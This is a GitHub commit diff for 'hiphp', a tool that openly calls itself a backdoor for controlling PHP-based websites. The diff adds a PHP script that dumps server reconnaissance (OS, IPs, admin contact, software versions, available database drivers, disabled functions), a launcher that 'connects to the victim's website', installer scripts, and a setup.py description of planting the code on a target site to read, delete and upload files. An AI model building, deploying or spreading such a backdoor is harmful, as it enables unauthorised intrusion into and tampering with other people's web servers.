-
Boudjada Yasser committed with GitHub 2 years ago1 parent ba430348
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
-
1 1 # code by : yasserbdj96 2 2 # email : [email protected] 3 3 4 - # docker pull yasserbdj96/hiphp:latest 4 + # docker pull docker.io/yasserbdj96/hiphp:latest 5 5 # docker build -t docker.io/yasserbdj96/hiphp:latest . 6 6 # docker run -e KEY="<KEY>" -e URL="<URL>" -i -t docker.io/yasserbdj96/hiphp:latest 7 + 8 + # docker pull ghcr.io/yasserbdj96/hiphp:latest 9 + # docker build -t ghcr.io/yasserbdj96/hiphp:latest . 10 + # docker run -e KEY="<KEY>" -e URL="<URL>" -i -t ghcr.io/yasserbdj96/hiphp:latest 11 + 7 12 8 13 #START{ 9 14 FROM python:3.9 skipped 12 lines -
-
1 1 <?php 2 2 # code by : yasserbdj96 3 3 # email : [email protected] 4 + 5 + header('Content-type: text/plain'); 6 + 7 + echo "OS : ".php_uname(); 8 + echo "\n"; 9 + echo "your_ip: ".$_SERVER['REMOTE_ADDR']; 10 + echo "\n"; 11 + echo "Server Name : ".$_SERVER['HTTP_HOST']; 12 + echo "\n"; 13 + echo "Admin Server : ".$_SERVER['SERVER_ADMIN']; 14 + echo "\n"; 15 + echo "Server port : ".htmlentities($_SERVER['SERVER_PORT'], ENT_QUOTES, 'UTF-8'); 16 + echo "\n"; 17 + echo "server_ip : ".gethostbyname($_SERVER["HTTP_HOST"]); 18 + echo "\n"; 19 + echo "server_software : ".getenv("SERVER_SOFTWARE"); 20 + echo "\n"; 21 + echo "Php Version : ".phpversion(); 22 + echo "\n"; 23 + echo "Zend : ".htmlentities(zend_version(), ENT_QUOTES, 'UTF-8'); 24 + echo "\n"; 25 + echo "Oracle : ".$Oracle2=function_exists('ocilogon')?("ON"):("OFF"); 26 + echo "\n"; 27 + echo "MySQL : ".$MySQL2=function_exists('mysql_connect')?("ON"):("OFF"); 28 + echo "\n"; 29 + echo "MSSQL : ".$MSSQL2=function_exists('mssql_connect')?("ON"):("OFF"); 30 + echo "\n"; 31 + echo "PostgreSQL : ".$pg_connect2=function_exists('pg_connect')?("ON"):("OFF"); 32 + echo "\n"; 33 + echo "disabled_functions : ".$r=ini_get('disable_functions') ? ini_get('disable_functions'):'none'; 34 + echo "\n"; 35 + echo "\n"; 36 + echo "\n"; 37 + 38 + // variables check: 4 39 if("__var1__"=="true"){ 5 40 echo "This is a test with a variable. var1_value=__var1__, var2_value=__var2__"; 6 41 }else{ skipped 4 lines -
1 + #!/bin/bash 2 + # code by : yasserbdj96 3 + # email : [email protected] 4 + 5 + #START{ 6 + #help: 7 + if [ -z "$1" ]; then 8 + echo "Usage: hiphp [OPTION]"; 9 + echo ""; 10 + echo "ex: hiphp --help | # hiphp cli help."; 11 + echo " hiphp --geth [KEY] [URL] | # Get the hole Code."; 12 + echo " hiphp [KEY] [URL] | # Connect to the victim's website."; 13 + echo " hiphp --ftp [KEY] [URL] | # Run hiphp as GUI in 'hiphp_ftp' script."; 14 + echo " hiphp --dst | # Run hiphp as GUI in 'hiphp_desktop' script."; 15 + 16 + #cli help: 17 + elif [ "$1" == "--help" ] ; then 18 + python "/usr/share/hiphp/hiphp.py" "--help"; 19 + 20 + #hiphp_ftp: 21 + elif [ "$1" == "--ftp" ] ; then 22 + python "/usr/share/hiphp/hiphp_ftp.py" "$2" "$3"; 23 + 24 + #hiphp_desktop: 25 + elif [ "$1" == "--dst" ] ; then 26 + python "/usr/share/hiphp/hiphp_desktop.py"; 27 + 28 + #cli: 29 + else 30 + if [ "$1" == "--geth" ] ; then 31 + python "/usr/share/hiphp/hiphp.py" $1 $2 $3; 32 + else 33 + python "/usr/share/hiphp/hiphp.py" $1 $2; 34 + fi 35 + fi 36 + #}END. -
1 + # code by : yasserbdj96 2 + # email : [email protected] 3 + 4 + #START{ 5 + [Desktop Entry] 6 + Name=hiphp 7 + Comment=Open-source BackDoor to control php-based sites 8 + GenericName=hiphp 9 + Exec=sh -c '/usr/local/bin/hiphp;${SHELL:-bash}' 10 + Icon=/usr/share/hiphp/hiphp.png 11 + Type=Application 12 + Terminal=true 13 + Categories=Development;BackDoor;websites;IDE; 14 + MimeType=text/x-hiphp 15 + Keywords=backdoor;controller; 16 + #}END. -
install/hiphp.png
-
1 + #!/usr/bin/env python 2 + # coding:utf-8 3 + # code by : yasserbdj96 4 + # email : [email protected] 5 + 6 + #START{ 7 + from hiphp import * 8 + import sys 9 + 10 + if sys.argv[1]=="--help": 11 + from hiphp.hiphphelp import * 12 + print(help()) 13 + exit() 14 + elif sys.argv[1]=="--geth": 15 + p1=hiphp(key=sys.argv[2],url=sys.argv[3]) 16 + # Get the hole Code: 17 + p1.get_hole()# Copy this code into the file whose path you entered earlier. ex: https://localhost/index.php 18 + exit() 19 + else: 20 + # connect: 21 + p1=hiphp(key=sys.argv[1],url=sys.argv[2])#Default: retu=False. 22 + # Command line interface: 23 + p1.cli() 24 + #}END. 25 + -
1 + #!/bin/bash 2 + # code by : yasserbdj96 3 + # email : [email protected] 4 + 5 + #START{ 6 + # app name: 7 + appname="hiphp" 8 + 9 + # install: 10 + if [ "$1" == "-i" ] ; then 11 + chmod +x "$appname"; 12 + sudo mkdir "/usr/share/$appname"; 13 + sudo cp -r "../$appname/." "/usr/share/$appname/$appname"; 14 + sudo cp "$appname.py" "/usr/share/$appname/$appname.py"; 15 + sudo cp "$appname.png" "/usr/share/$appname/$appname.png"; 16 + sudo cp "$appname.desktop" "/usr/share/applications/$appname.desktop"; 17 + sudo cp "$appname" "/usr/local/bin/$appname"; 18 + 19 + # install hiphp_ftp script: 20 + sudo cp "../scripts/hiphp_ftp/main.py" "/usr/share/$appname/hiphp_ftp.py"; 21 + sudo cp "../scripts/hiphp_ftp/favicon.png" "/usr/share/$appname/favicon.png"; 22 + pip install -r "../scripts/hiphp_ftp/requirements.txt"; 23 + 24 + # install hiphp_desktop script: 25 + sudo cp "../scripts/hiphp_desktop/main.py" "/usr/share/$appname/hiphp_desktop.py"; 26 + sudo cp -r "../scripts/hiphp_desktop/src/." "/usr/share/$appname/src"; 27 + pip install -r "../scripts/hiphp_desktop/requirements.txt"; 28 + 29 + # uninstall: 30 + elif [ "$1" == "-u" ] ; then 31 + sudo rm -r "/usr/share/$appname"; 32 + #sudo rm "/usr/share/$appname/$appname.png"; 33 + sudo rm "/usr/share/applications/$appname.desktop"; 34 + sudo rm "/usr/local/bin/$appname"; 35 + # usage: 36 + else 37 + echo "Usage: bash $0 [OPTION]"; 38 + echo " -i | # for install."; 39 + echo " -u | # for uninstall."; 40 + fi 41 + #}END. -
screenshot/screenshot.png
-
screenshot/screenshot1.png
-
-
scripts/hiphp_desktop/screenshot/screenshot.png
-
scripts/hiphp_desktop/screenshot/screenshot1.png
-
scripts/hiphp_desktop/src/favicon.ico
-
scripts/hiphp_desktop/src/hiphp_logo.png
-
-
-
scripts/hiphp_ftp/favicon.png
-
-
scripts/hiphp_ftp/screenshot/screenshot.png
-
skipped 6 lines 7 7 from setuptools import setup,find_packages 8 8 setup( 9 9 name="hiphp", 10 - version="0.2.15", 10 + version="0.2.16", 11 11 author="yasserbdj96", 12 12 author_email="[email protected]", 13 13 description='''hiphp is BackDoor to control php-based sites hiphp can be controlled by sending commands, files, and tokens to the site using the http/https protocol. After copying the code and placing it in any php file on the target website, you will have permissions to enter it, read all files, delete and even upload new files to it. Also, this back door is password protected.''', skipped 26 lines